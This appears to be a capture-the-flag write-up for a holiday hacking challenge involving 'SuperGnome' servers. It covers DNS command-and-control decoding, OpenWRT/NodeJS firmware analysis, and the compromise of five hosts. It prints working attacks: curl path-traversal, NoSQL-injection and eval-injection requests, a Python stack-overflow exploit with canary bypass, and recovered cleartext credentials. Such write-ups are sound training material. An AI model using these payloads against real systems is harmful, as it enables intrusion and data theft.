Summary#
- Which commands are sent across the Gnome’s command-and-control channel?
EXEC:iwconfigin packet 363EXEC:cat /tmp/iwlistscan.txtin packet 573- What image appears in the photo the Gnome sent across the channel from the Dosis home?
- A tidy children’s room is depicted in the photo. The photo includes something like legs that are probably attached to the camera. At the bottom is a label with “GnomeNet-NorthAmerica”.
- What operating system and CPU type are used in the Gnome? What type of web framework is the Gnome web interface built in?
- OpenWRT (r47650) on ARM
- NodeJS with Mongodb
- What kind of a database engine is used to support the Gnome web interface? What is the plaintext password stored in the Gnome database?
- MongoDB
- The following credentials are stored in the firmware image
admin:SittingOnAShelfuser:user- What are the IP addresses of the five SuperGnomes scattered around the world, as verified by Tom Hessman in the Dosis neighborhood?
- SG-01 52.2.229.189 (United States, Ashburn)
- SG-02 52.34.3.80 (United States, Boardman)
- SG-03 52.64.191.71 (Australia, Sydney)
- SG-04 52.192.152.132 (Japan, Tokyo)
- SG-05 54.233.105.81 (Brazil)
- Where is each SuperGnome located geographically?
- Describe the vulnerabilities you discovered in the Gnome firmware.
- Storage of clear text passwords in the MongoDB database.
- Local file inclusion via directory traversal in
routes/index.js:195
- The code checks whether the requested file path contains a “.png”.
- The file upload can be utilized to create a temporary folder with a suitable name.
- Possible NoSQL injection for the login post in
routes/index.js:109.
- Might not possible as “extended = false” for the firmware as described in bodyParser is deprecated express 4
- Possible server side javascript injection for file upload in
routes/index.js:166
- The user provided parameter:
posprocis utilized in an unsanatizedeval()
- Stack based buffer overflow in sgnet_readn that is utilized in
sgstatd.c:147:
- The stack canary is static and can easily be repaired.
- The stack canary includes a
JMP ESPas a partial command. This assembly instruction is crucial for exploitation.
- Describe the technique you used to gain access to each SuperGnome’s gnome.conf file.
- SG-01: Administrative credentials from the firmware image provided full access.
- SG-02: A path traversal vulnerability allowed to download arbitrary files in the context of a standard user.
- SG-03: A NoSQL injection in the login form was exploited in order to login as admin user.
- SG-04: The system was compromised via server side javascript injection in NodeJS.
- SG-05: Weaponize remote exploit for sgstadt (4242/tcp) in order to a reverse shell.
Part 1: Dance of the Sugar Gnome Fairies: Curious Wireless Packets#
The packet capture includes mostly traffic on port 53/udp.
A client system at 52.2.229.189 is querying the dns server at 10.42.0.18 for a TXT record.
In packet 363 the server responds with a base64 encoded string EXEC:iwconfig.
Subsequently, the client starts sending TXT responses with base64 encoded data to the server.
The response starts with a start marker EXEC:START_STATE.
The end of the exec output is marked by an encoded EXEC:STOP.
In packet 573 another command is scheduled by the server: EXEC:cat /tmp/iwlistscan.txt.
Finally, in packet 875 the server requests a file with FILE:/root/Pictures/snapshot_CURRENT.jpg.

With this information a script can easily be created that automates that task. Find the code below in the code section decode.py.
Part 2: I’ll be Gnome for Christmas: Firmware Analysis for Fun and Profit#
After unpacking the firmware binary with binwalk, let’s take a look at the system.
A look at etc/banner makes clear, that the image is based on OpenWRT, a popular alternative router firmware.
$ cat etc/banner
_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
-----------------------------------------------------
DESIGNATED DRIVER (Bleeding Edge, r47650)
-----------------------------------------------------
* 2 oz. Orange Juice Combine all juices in a
* 2 oz. Pineapple Juice tall glass filled with
* 2 oz. Grapefruit Juice ice, stir well.
* 2 oz. Cranberry Juice
-----------------------------------------------------Consequently, the system architecture has to be ARM. Better verify that assumption by checking a system binary.
$ file bin/pwd
bin/pwd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), strippedDigging deeper to find the web application.
In www there are a few JavaScript files and some subdirectories.
These point towards a NodeJS based web application.
In the first lines of www/app.js mongodb is mentioned a few times.
This is probably the backend database for the web application.
According to etc/mongodb.conf the database files are located in /opt/mongodb.
Quickly running strings over the files yield some promising results.
$ strings gnome.0
...
gnome.users
username
user
password
user
user_level
username
admin
password
SittingOnAShelf
user_level
...Looks like the application stores cleartext passwords. We can also follow the guide from SANS Penetration Testing to pillage the database.
Part 3: Let it Gnome! Let it Gnome! Let it Gnome! Internet-Wide Scavenger Hunt#
The first IP address is listed in the etc/hosts of the firmware image.
With the information from the web application a shodan search might also yield some useful results.
shodan.io provides four additional IP addresses running a SuperGnome web interface.
- Supergnome 1 - 52.2.229.189 (United States, Ashburn)
- Supergnome 2 - 52.34.3.80 (Japan, Tokyo)
- Supergnome 3 - 52.64.191.71 (Brazil)
- Supergnome 4 - 52.192.152.132 (Australia, Sydney)
- Supergnome 5 - 54.233.105.81 (United States, Boardman)
Pinning the IP addresses on a map gives us the following overview.

Part 4: There’s No Place Like Gnome for the Holidays: Gnomage Pwnage#
Vulnerabilities#
Improper storage of passwords#
Passwords are stored in clear text in the MongoDB database.
user: user
admin: SittingOnAShelfNoSQL injection#
Possible NoSQL injection for the login post in routes/index.js:109.
Exploitation might not possible as “extended = false” for the firmware as described at StackExchange.
...
router.post('/', function(req, res, next) {
var db = req.db;
var msgs = [];
db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err, user) { // STUART: Removed this in favor of below. Really guys?
//db.get('users').findOne({username: (req.body.username || "").toString(10), password: (req.body.password || "").toString(10)}, function (err, user) { // LOUISE: allow passwords longer than 10 chars
...Server Side Javascript Injection#
Possible server side javascript injection for file upload in routes/index.js:166.
The user provided parameter: posproc is utilized in an unsanatized eval().
...
router.post('/files', upload.single('file'), function(req, res, next) {
if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // NEDFORD: this should be 99 not 100 so admins can upload
var msgs = [];
file = req.file.buffer;
if (req.file.mimetype === 'image/png') {
msgs.push('Upload successful.');
var postproc_syntax = req.body.postproc;
console.log("File upload syntax:" + postproc_syntax);
if (postproc_syntax != 'none' && postproc_syntax !== undefined) {
msgs.push('Executing post process...');
var result;
d.run(function() {
result = eval('(' + postproc_syntax + ')');
});
// STUART: (WIP) working to improve image uploads to do some post processing.
msgs.push('Post process result: ' + result);
}
...Path Traversal#
Local file inclusion via directory traversal in routes/index.js:187
The code checks whether the requested file path contains a “.png”.
The file upload can be utilized to create a temporary folder with a suitable name.
...
router.get('/cam', function(req, res, next) {
var camera = unescape(req.query.camera);
// check for .png
//if (camera.indexOf('.png') == -1) // STUART: Removing this...I think this is a better solution... right?
camera = camera + '.png'; // add .png if its not found
console.log("Cam:" + camera);
fs.access('./public/images/' + camera, fs.F_OK | fs.R_OK, function(e) {
if (e) {
res.end('File ./public/images/' + camera + ' does not exist or access denied!');
}
});
fs.readFile('./public/images/' + camera, function (e, data) {
res.end(data);
});
...Remote Buffer Overflow#
A buffer overflow exists in sgnet_readn that is utilized in sgstatd.c:147:.
The input buffer is 100 bytes while the function sgnet_readn reads 200 bytes.
This is a classical stack based buffer overflow.
The stack canary is static and can easily be repaired.
The stack canary includes a JMP ESP as a partial command. This assembly instruction is crucial for exploitation.
...
int sgstatd(sd)
{
__asm__("movl $0xe4ffffe4, -4(%ebp)");
//Canary pushed
char bin[100];
write(sd, "\nThis function is protected!\n", 30);
fflush(stdin);
//recv(sd, &bin, 200, 0);
sgnet_readn(sd, &bin, 200);
__asm__("movl -4(%ebp), %edx\n\t" "xor $0xe4ffffe4, %edx\n\t" // Canary checked
"jne sgnet_exit");
return 0;
}
...Exploitation#
Supergnome 1#
The cleartext credentials stored in the firmware image allow administrative access to the system.
user: admin
pass: SittingOnAShelfSimply navigate to the files section and download the configuration file.
Gnome Serial Number: NCC1701That’s an obvious easter egg. NCC-1701 is the alternative name for the starship USS Enterprise in the fictional Star Trek universe.

Supergnome 2#
A path traversal vulnerability allowed to download arbitrary files in the context of the admin user. First, a temporary directory has to be created by uploading a configuration file. The server response includes the full path to the temporary directory. According to the application code, the temporary directory is created and never deleted.

curl -s -k -X 'POST' -b 'sessionid=Knd8Zz6X77F0bdC3ldBa' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary $'filen=.png/file.cfg&file=eicar.com.txt' \
'http://52.34.3.80/settings'The temporary directory path circumvents the file extension check. Simply add the respective path in the request to a camera image in order to exploit the vulnerability. Let’s download files in the context of the gnome-admin user!

curl -s -k -X 'GET' -b 'sessionid=Knd8Zz6X77F0bdC3ldBa' \
'http://52.34.3.80/cam?camera=%2e%2e/upload/iLZKMlKm/.png/%2e%2e/%2e%2e/%2e%2e/%2e%2e/files/gnome.conf'Finally, take a short glance at the gnome configuration file.
Gnome Serial Number: XKCD988Again, the gnome serial number is an easter egg and points to XKCD 988

Supergnome 3#
A NoSQL injection in the login form was exploited in order to login as admin user.

curl -s -k -X 'POST' -b 'sessionid=blcGsGlPTvewgL5k3VIk' \
-H 'Content-Type: application/json' \
--data-binary $'{\x0d\x0a\x09\"username\": {\"$ne\": \"user\"},\x0d\x0a\x09\"password\": {\"$gt\": \"\"}\x0d\x0a}' \
'http://52.64.191.71/'Some additional NoSQL trickery lets us brute-force the accounts and passwords.

With admin privileges, simply download the gnome configuration.
Gnome Serial Number: THX1138The serial number is the title of an early Georg Lucas movie. Go watch it!

The following credentials could be recovered from the database. The SuperGnome admin louise seems to be a fan of the song Welcome Christmas from the musical.
admin: StillSittingOnAShelf!
louise: FahWhoRahMooseSupergnome 4#
The system was compromised via server side javascript injection in NodeJS. The initial credentials for a valid session are present in the firmware image. With a valid session id, simply upload a file and include the SSJS payload of your choice in the postproc variable.

curl -s -k -X 'POST' -b 'sessionid=QWnIchSxTmT8BIyHE5OL' \
-H 'Content-Type: multipart/form-data; boundary=---------------------------1353123760992125901018690058' \
--data-binary $'-----------------------------1353123760992125901018690058\x0d\x0aContent-Disposition: form-data; name=\"postproc\"\x0d\x0a\x0d\x0ares.end(require(\'fs\').readFileSync(\'files/gnome.conf\'))\x0d\x0a-----------------------------1353123760992125901018690058\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"stallowned.png\"\x0d\x0aContent-Type: image/png\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------1353123760992125901018690058--\x0d\x0a' \
'http://52.192.152.132/files'The above command reads the contents of gnome configuration file and sends it back to the attacker. Other handy payloads might be to open a reverse shell.
Gnome Serial Number: BU22_1729_2716057The serial number likely refers to Bending Unit 22, unit number 1729, serial number 2716057

The following credentials could be recovered from the database. Nedford, the SuperGnome admin seems to be quite enthusiastic about his work.
admin: SittingOnAShelf
nedford: AllIWantForXmasIsYourPresentsSupergnome 5#
The vulnerability is in the sgstatd daemon running on port 4242/tcp.
The target buffer is 100 bytes, yet the program read 200 bytes giving us a classic buffer overflow.
A static stack canary should protect the vulnerable function.
Unfortunately, it is static and can therefore be easily be added to the exploit.
Furthermore, the canary includes a partial assembly instruction necessary to exploit the vulnerability JMP ESP.
A compiled binary is present in the firmware image. Using this binary allows to adjust the addresses in the exploit. The remote exploit proof-of-concept code is listed below.

The reverse shell is only executed with the unpriviledged nobody user’s rights. Yet, we can access the gnome configuration because of poor access rights.
Gnome Serial Number: 4CKL3R43V4No idea what this serial number might point to.
It looks like leet speak for ACK LE RAEVA.
The following credentials could be recovered from the database. The real Grinch has be uncovered!
admin: SittingOnAShelf
sims: IAmTheRealGrinch!Part 5: Baby, It’s Gnome Outside: Sinister Plot and Attribution#
Each SuperGnome has got one unique packet stored in the files folder.
The packet captures include SMTP traffic between a client and a server.
All five emails are associate with the mail address c@atnascorp.com.
What is the nefarious plot of ATNAS Corporation?#
All the recovered mails include hints to the plans of ATNAS Corporation.
The mail on SuperGnome 3 provides an outline of the plot.
Oh, and I’ve heard that many of you are asking where the name ATNAS comes from. Why, it’s reverse SANTA, of course. Instead of bringing presents on Christmas, we’ll be stealing them!
The mail on SuperGnome 4 includes a clear outline written by the mastermind.
I vowed to finish what the Grinch had started, but to do it at a far larger scale. Using the latest technology and a distributed channel of burglars, we’d rob 2 million houses, grabbing their most precious gifts, and selling them on the open market. We’ll destroy Christmas as two million homes full of people all cry “BOO-HOO”, and we’ll turn a handy profit on the whole deal.
This is probably based on a childhood trauma suffered by the villain. The excerpt below from the mail on SuperGnome 3 is remarkably similar to the childhood experience of Cindy-Lou Who.
If any children observe you in their houses that night, remember to tell them that you are actually “Santy Claus”, and that you need to send the specific items you are taking to your workshop for repair. Describe it in a very friendly manner, get the child a drink of water, pat him or her on the head, and send the little moppet back to bed.
The packet capture on SuperGnome 5 includes an email from the Grinch to the villain. He tries to apologize for his wrong doings a long time ago.
Who is the villain behind the nefarious plot?#
The most interesting mail is stored on SuperGnome 4 in 20151203133815.zip.
It is addressed to psychdoctor@whovillepsychiatrists.com and signed by Cindy Lou Who.
Additional evidence might be included in the scrambled video image of the firmware. Each SuperGnome contains an image with white noise. These have been XOR and can therefore be reversed. This process can be easily achieved with a script using pillow’s ImageMath. The restored video feed image is still not very clear.
With the information from the mail, we can compare the latest known image of Cindy-Lou Who with the restored image:

Links#
Part 1#
- Importing packets from trace files with scapy
- Scapy Sniffing with Custom Actions, Part 1 | thePacketGeek
Part 2#
Part 3#
Part 4#
- HACKING NODEJS AND MONGODB
- ATTACKING NODEJS AND MONGODB - PART TO
- Server-Side JavaScript Injection
- Vulnerability Development: Buffer Overflows: How To Bypass ASLR…
- GDB ’exploitable’ plugin
- Four different tricks to bypass StackShield and StackGuard protection
- Disable DEP/NX on Linux in Grub
Scripts#
Decrypt C&C Communication#
#!/usr/bin/env python2
from scapy.all import *
packetCount = 0
cmds = []
def customAction(packet):
global packetCount
packetCount += 1
if packet.haslayer(DNSRR):
cmds.append(packet[DNSRR].rdata)
return
return "Packet #%s: %s" % (packetCount, packet[DNSRR].rdata)
return "Packet #%s: %s" % (packetCount, packet.summary)
return "Packet #%s: %s ==> %s" % (packetCount, packet[0][1].src, packet[0][1].dst)
#filter_bpf = '(dns ) && (ip.src == 52.2.229.189)'
filter_bpf = 'udp and port 53'
packets = sniff(offline='giyh-capture.pcap', prn=customAction, filter=filter_bpf, store=0, count=-1)
print(packets.summary)
import base64
chunk_data = ""
chunk_name = ""
chunk_id = 0
chunks = {}
for cmd in cmds:
cmd_dec = base64.b64decode(cmd)
#print(string.find(cmd_dec,"FILE:"))
if string.find(cmd_dec,"NONE:") >= 0:
continue
elif string.find(cmd_dec,"FILE:") >= 0:
if string.find(cmd_dec,"FILE:START_STATE") >= 0:
rdx = string.rfind(cmd_dec,"/")
chunk_name = cmd_dec[rdx+1:len(cmd_dec)]
print("file chunk start: %s" % cmd_dec)
print("file chunk start: (%d) %s" % (rdx, chunk_name))
chunk_id = 0
chunk_data = ""
elif string.find(cmd_dec,"FILE:STOP") >= 0:
print("file chunks %d..." % chunk_id)
chunks[chunk_name] = chunk_data
chunk_data = ""
chunk_name = ""
else:
if chunk_id == 0:
print(cmd_dec)
chunk_id += 1
chunk_data += cmd_dec[5:]
elif string.find(cmd_dec,"EXEC:") >= 0:
if string.find(cmd_dec,"EXEC:START_STATE") >= 0:
print("exec chunk start: %s" % cmd_dec)
chunk_id = 0
chunk_data = ""
elif string.find(cmd_dec,"EXEC:STOP") >= 0:
#print(">>%s<<" % (chunk))
chunks[chunk_name] = chunk_data
chunk_data = ""
chunk_name = ""
else:
#print(">>%d:%s:%s<<" % (chunk_id,chunk_name,cmd_dec))
if chunk_name == "" and len(chunk_data) == 0:
chunk_name = cmd_dec[5:-1]
else:
chunk_data += cmd_dec[5:]
chunk_id += 1
else:
print(cmd_dec)
for k,v in chunks.iteritems():
print(k, len(v))
fname = "".join(x for x in k if x.isalnum())
with open(fname, "wb") as fh:
fh.write(v)
print(len(v),v[:10])sgstatd Remote Exploit#
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import socket
import struct
import sys
from time import sleep
#TARGET
target_ip = "54.233.105.81"
target_port = 4242
def send_data(sock, payload=""):
out = payload
print(len(out),out.strip())
sock.send(out)
"""
set follow-fork-mode child
break *0x80493c4
"""
shellcode1 = "\xCC"
shellcode2 = "\xeb\xAE" \
"\xe8\xAB\xff\xff\xff"
eip = struct.pack("<I",0x80493b6) #JMP ESP
canary = struct.pack("<I",0xe4ffffe4)
ebp = struct.pack("<I",0xbff7b0ac)
exploit = "\xCC"*(104-len(shellcode1)) +shellcode1 +canary +ebp +eip +"\x90" +shellcode2
exploit += "\xCC"*(200-len(exploit)) ## fill target buffer
sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
sock.connect((target_ip,target_port))
if sock:
msg = sock.recv(51)
msg += sock.recv(45)
msg += sock.recv(28)
msg += sock.recv(26)
msg += sock.recv(27)
print(msg.strip())
ret = send_data(sock, "X")
msg = sock.recv(4)
sleep(60.0 / 1000.0)
for i in range(22):
msg += sock.recv(1)
sleep(60.0 / 1000.0)
msg += sock.recv(4)
sleep(60.0 / 1000.0)
msg += sock.recv(75)
sleep(60.0 / 1000.0)
print(msg.strip())
waitit = 1
print("# Waiting %d seconds" %(waitit))
sleep(waitit)
msg = sock.recv(30)
sleep(60.0 / 1000.0)
print(msg.strip())
ret = send_data(sock, exploit)
sock.close()Restore Overlay Error#
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from PIL import Image, ImageChops, ImageMath
import sys
print(sys.argv, len(sys.argv))
if len(sys.argv) != 2:
print("please provide an input file names")
exit()
from os import walk, path
mydir = sys.argv[1]
imajs = []
for (dirpath, dirnames, filenames) in walk(mydir):
for filename in filenames:
img = Image.open(path.join(mydir, filename)).convert("RGB")#.convert('L')#.convert('LA')#.convert("RGB")
imajs.append(img)
print(imajs)
newimaj = Image.new('RGB', (1024, 768))
for x in xrange(1024):
for y in xrange(769):
r, g, b = None, None, None
for imaj in imajs:
print(x,y, imaj)
red, green, blue = imaj.getpixel((x, y))
if not r:
r, g, b = red, green, blue
else:
r ^= red
g ^= green
b ^= blue
newimaj.putpixel((x, y), (r, g, b))
newimaj.save('solution.png')